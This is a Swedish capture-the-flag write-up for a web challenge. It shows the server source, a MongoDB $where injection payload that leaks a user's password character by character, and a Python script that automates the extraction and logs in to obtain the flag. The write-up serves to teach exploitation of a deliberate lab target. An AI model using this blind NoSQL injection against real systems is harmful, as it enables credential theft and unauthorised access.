Sök

Kategori

Webb

Beskrivning

Min kusins hund gjorde den här webbsidan.

Lösning

På utmaningssidan så får vi en inloggningsknapp och en sökruta.

Sök

Vi har även tillgång till källkoden.

import { Hono } from "hono";
import { html } from "hono/html";
import { type PropsWithChildren } from "hono/jsx";
import { MongoClient, ObjectId } from "mongodb";
import { randomUUID, timingSafeEqual } from "node:crypto";

let app = new Hono();
let client = new MongoClient(Bun.env.MONGO_URL!);
async function getDb() {
    await client.connect();
    return client.db("thedatabase");
}

let db = await getDb();
await db.collection("users").deleteMany({});
await db.collection("users").insertMany([
    { name: "Adam", password: randomUUID(), faction: "red" },
    { name: "Bertil", password: randomUUID(), faction: "blue" },
    { name: "Cesar", password: randomUUID(), faction: "blue" },
    { name: "David", password: randomUUID(), faction: "red" },
    { name: "Erik", password: randomUUID(), faction: "red" },
    { name: "Filip", password: randomUUID(), faction: "red" },
    { name: "Gustav", password: randomUUID(), faction: "blue" },
    { name: "Helge", password: randomUUID(), faction: "green" },
    { name: "Ivar", password: randomUUID(), faction: "green" },
    { name: "Johan", password: randomUUID(), faction: "red" },
    { name: "Kalle", password: randomUUID(), faction: "green" },
    { name: "Ludvig", password: randomUUID(), faction: "red" },
    { name: "Martin", password: randomUUID(), faction: "blue" },
    { name: "Niklas", password: randomUUID(), faction: "blue" },
    { name: "Olof", password: randomUUID(), faction: "red" },
    { name: "Petter", password: randomUUID(), faction: "blue" },
    { name: "Qvintus", password: randomUUID(), faction: "blue" },
    { name: "Rudolf", password: randomUUID(), faction: "red" },
    { name: "Sigurd", password: randomUUID(), faction: "red" },
    { name: "Tore", password: randomUUID(), faction: "green" },
    { name: "Urban", password: randomUUID(), faction: "blue" },
    { name: "Viktor", password: randomUUID(), faction: "red" },
    { name: "Wilhelm", password: randomUUID(), faction: "blue" },
    { name: "Xerxes", password: randomUUID(), faction: "red" },
    { name: "Yngve", password: randomUUID(), faction: "blue" },
    { name: "Zäta", password: randomUUID(), faction: "blue" },
    { name: "Åke", password: randomUUID(), faction: "blue" },
    { name: "Ärlig", password: randomUUID(), faction: "red" },
    { name: "Östen", password: randomUUID(), faction: "blue" },
]);

function Page({ children }: PropsWithChildren) {
    let htmlElement = <html>
        <head lang="sv">
            <meta charset="utf-8" />
            <script src="https://unpkg.com/htmx.org@2.0.1" integrity="sha384-QWGpdj554B4ETpJJC9z+ZHJcA/i59TyjxEPXiiUgN2WmTyV5OEZWCD6gQhgkdpB/" crossorigin="anonymous" />
            <script src="https://unpkg.com/htmx-ext-json-enc@2.0.0/json-enc.js" integrity="sha384-jlXY8aqYpGrH/VeBQeCRxt0HdGshtETnnNE2JdPjBsGpZATDeNhwdfPE53pBmVhD" crossorigin="anonymous" />
        </head>
        <body hx-ext="json-enc">
            {children}
        </body>
    </html>;
    return html`<!doctype html>${htmlElement}`;
}

app.get("/", async c => {
    return c.html(<Page>
        <nav>
            <a href="/login">Logga in</a>
        </nav>
        <p>Sök efter personer:</p>
        <form hx-post="/users" hx-target="#result" hx-swap="innerHTML">
            <input placeholder="Name" type="text" name="name" />
            <select
                name="faction"
                hx-on:change="htmx.find('option').disabled = !this.value"
                hx-on:load="htmx.find('option').disabled = !this.value"
            >
                <option disabled selected value="">Filtrera efter lag</option>
                <option value="red">Röd</option>
                <option value="green">Grön</option>
                <option value="blue">Blå</option>
            </select>
            <button>Sök</button>
        </form>
        <div id="result" />
    </Page>);
})

app.post("/users", async c => {
    let db = await getDb();
    let query = await c.req.json();
    query.name = { $regex: query.name, $options: "i" };
    if ("password" in query) return new Response("Bad Request", { status: 400 });
    let users = await db.collection("users").find(query).toArray();
    if (users.length === 0) return c.html(<p>no matches</p>);
    return c.html(<>
        <p>Results:</p>
        <ul>{users.map(user => <li>
            <a href={`/user/${user._id.toString()}`}>{user.name}</a>
        </li>)}</ul>
    </>);
});

app.get("/user/:id", async c => {
    let id: ObjectId;
    try {
        id = new ObjectId(c.req.param("id"));
    } catch (e) {
        return;
    }
    let db = await getDb();
    let user = await db.collection("users").findOne({ _id: id });
    if (!user) return;
    return c.html(<Page>
        <h1>{user.name}</h1>
        <p>Lag: {user.faction}</p>
    </Page>);
});

app.get("/login", async c => {
    return c.html(<Page>
        <form hx-post="/login" hx-swap="textContent">
            <input type="text" name="name" placeholder="username" />
            <input type="password" name="password" placeholder="password" />
            <button>Logga in</button>
        </form>
    </Page>);
});

app.post("/login", async c => {
    let { name, password } = await c.req.json();
    let db = await getDb();
    let user = await db.collection("users").findOne({ name });
    if (!user) return;
    if (password.length !== user.password.length
    || !timingSafeEqual(Buffer.from(password), Buffer.from(user.password))) {
        return new Response("Wrong password", { status: 400 });
    }

    return new Response(Bun.env.FLAG);
});

export default app;

Här ser vi att vi behöver logga in för att få flaggan.

Den enda endpointen som ser ut att kunna vara sårbar är /users.

app.post("/users", async c => {
    let db = await getDb();
    let query = await c.req.json();
    query.name = { $regex: query.name, $options: "i" };
    if ("password" in query) return new Response("Bad Request", { status: 400 });
    let users = await db.collection("users").find(query).toArray();
    if (users.length === 0) return c.html(<p>no matches</p>);
    return c.html(<>
        <p>Results:</p>
        <ul>{users.map(user => <li>
            <a href={`/user/${user._id.toString()}`}>{user.name}</a>
        </li>)}</ul>
    </>);
});

Vi kan dock inte använda oss av nyckeln password. Men vi kan använda oss av andra MongoDB-operatörer.

Skickar vi in exempelvis { "name": "Adam", "$where": "this.password[0] == '0'" } så får vi tillbaka att det inte finns några träffar.

Stegar vi upp värdet så får vi tillbaka att det finns en träff.

{
    "name": "Adam",
    "$where": "this.password[0] == '8'"
}

Vi kan nu använda oss av denna sårbarhet till att få ut lösenordet för Adam och sedan logga in för att få flaggan.

Följande Python-skript kan användas för att få ut flaggan.

#!/usr/bin/env python3
import requests

url = 'http://challs.crate.nu:47896/'

alphabet = 'abcdef1234567890-'

s = requests.Session()

password = ''
target = 'Adam'

while True:
    for c in alphabet:
        payload = f'{{"name": "{target}", "$where": "this.password[{len(password)}] == \'{c}\'"}}'
        r = s.post(url + 'users', data=payload)
        if target in r.text:
            password += c
            print(password)
            break
    else:
        break

r = s.post(url + 'login', data=f'{{"name": "{target}", "password": "{password}"}}')
print(r.text)

Efter att ha kört skriptet så får vi flaggan.

cratectf{tänk_om_typscript_vore_sunt.och_det_menar_jag_på_det_mest_akademiska_sättet}

n00bz

Home of the n00bz CTF team.


By n00bz, 2024-11-17